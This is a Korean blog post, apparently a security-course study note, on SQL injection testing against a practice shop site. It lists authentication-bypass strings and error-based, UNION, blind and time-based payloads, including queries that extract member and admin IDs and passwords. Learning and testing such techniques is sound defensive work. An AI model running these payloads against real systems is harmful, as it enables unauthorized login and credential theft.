일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- sql 개발자
- sql 공부
- ISMSP
- Open Web Application Security Project
- sql select
- sql group by
- sql injection
- 해킹
- SQL
- SQLD
- 암호화 실패
- sql injection 공격
- sql developer
- web shell
- 정보보안컨설팅
- owasp 취약점
- SQL ORDER BY
- 잘못된 접근 제어
- sql join
- SQL 쿼리문
- ssrf
- owasp 2022
- owasp 가이드
- SQL 자격증
- CSRF
- 보안 설정 오류
- blind sql injection
- web shell공격
- server side request forgery
- sql 문법
- Today
- Total
MetaCODING
웹 서비스 기반 주요 위협 SQL Injection 본문
[SQL Injection]
내가 입력할 수 있는 영역에 진단을 수행함(입력값)
웹 사이트를 둘러보다가
DB에 질의할 것 같은 페이지에서 진단을 수행
※인증우회
- ' or 1=1 --
- ' or '1'='1
- ' or 'a'='a
- ' or '222222'='222222
- ETC....
※Error-Based SQL Injection
- DB에러가 출력되고, 에러 메시지가 친절할 때
= ' and db_name() > 1 -- (DB이름)
= ' having 1=1 -- (Table, 첫번째 column)
= ' group by num, user_id -- (컬럼들)
= ' or 1 in (select user_id from members where num > 0) --
= ' or 1 in (select user_id from members where user_id not in('oyes')) --
= ' or 1 in (select 'aaaa'+cast(count(*) as varchar(100)) from members) --
-알아낸 것
= DB: oyesmall
= Table: members
= Column: num, user_id, passwd
= 계정: oyes, fNGS
= 계정의 수: 5개
※Union SQL Injection
- 현재 질의하는 컬럼이 *이 아니고, 제한되어 보일 때(적어보일 때)
- 점검 구문: (점점 늘리기)
= ' union select '1','2', ~
= ' union select 1,2,3 ~ --
= ' union select 1,2,3,4,5 --
= ' union select 1,2,3,4,컬럼? from 테이블? --
= ' union select 1,2,3,4, table_name from information_schema.tables --
= ' union select 1,2,3,4, table_name from information_schema.columns --
- 테이블 목록 확인 가능
--> members? 확인해볼까
= ' union select 1,2,3,4, column_name from information_schema.columns --
- 컬럼의 목록도 확인 가능
= ' union select 1,2,3,4, column_name from information_schema.columns
where table_name='members' --
--> user_id? passwd? 수집해놓기
= Payload: ' union select 1,2,3,user_id, passwd from members --
= 계정 목록 탈취
- 응용하여 관리자 페이지 로그인하기
' union select 1,2,3,4, table_name from information_schema.columns --
= admin_tb
' union select 1,2,3,4, column_name from information_schema.columns
where table_name='admin_tb' --
Payload: ' union select 1,2,3,adminid, adminpwd from admin_tb --
※Blind SQL Injection
- 에러 메시지가 친절하지 않고, Union 가망 없음
- ☆참/거짓에 따라 웹사이트의 반응이 다를 때
= 기존키워드' and 1=1 --
= 기존키워드' and 1=2 --
= ' and '1'='1
= ' and '1'='2
Q&A게시판 -> Writer -> admin' and 1=1 --
[DB이름]
= ' and substring(db_name(),1,1)='o' --
= ' and substring(db_name(),1,8)='oyesmall' --
= ' and ascii(substring(db_name(),1,1))=111 --
= ' and ascii(substring(db_name(),1,1))<112 --
- Time-Based SQL Injection
참/거짓 다 DB에러로 출력될 때
구문:
= '; if 1=1 waitfor delay '0:0:3' --
= '; if 1=2 waitfor delay '0:0:3' --
= '; if substring(db_name(),1,8)='oyesmall' waitfor delay '0:0:3' --
https://metacoding.tistory.com/entry/11%EC%9D%BC%EC%B0%A8-1
SQL(Structured Query Language) Injection 공격 개념 취약점
웹서버와 DB서버가 연동되는 웹 서비스 중 사용자의 입력을 받는 화면이 로그인 화면, 검색 입력 창 등 존재하고 입력 받는 문자열에 별도의 처리없이 데이터베이스 조회를 위한 SQL 구문이 사용
metacoding.tistory.com
'보안' 카테고리의 다른 글
웹 서비스 주요 해킹 기법 - 파일 업로드 다운로드 취약점 (0) | 2023.09.07 |
---|---|
웹 서비스 기반 주요 위협 XSS(Cross-Site Scripting) (0) | 2023.09.06 |
ARP Spoofing 스푸핑 공격을 이용한 MITM 공격 원리 (0) | 2023.09.01 |
SQL(Structured Query Language) Injection 공격 대응방안(2) (0) | 2023.08.31 |
SQL(Structured Query Language) Injection 공격 위험성(1) (1) | 2023.08.31 |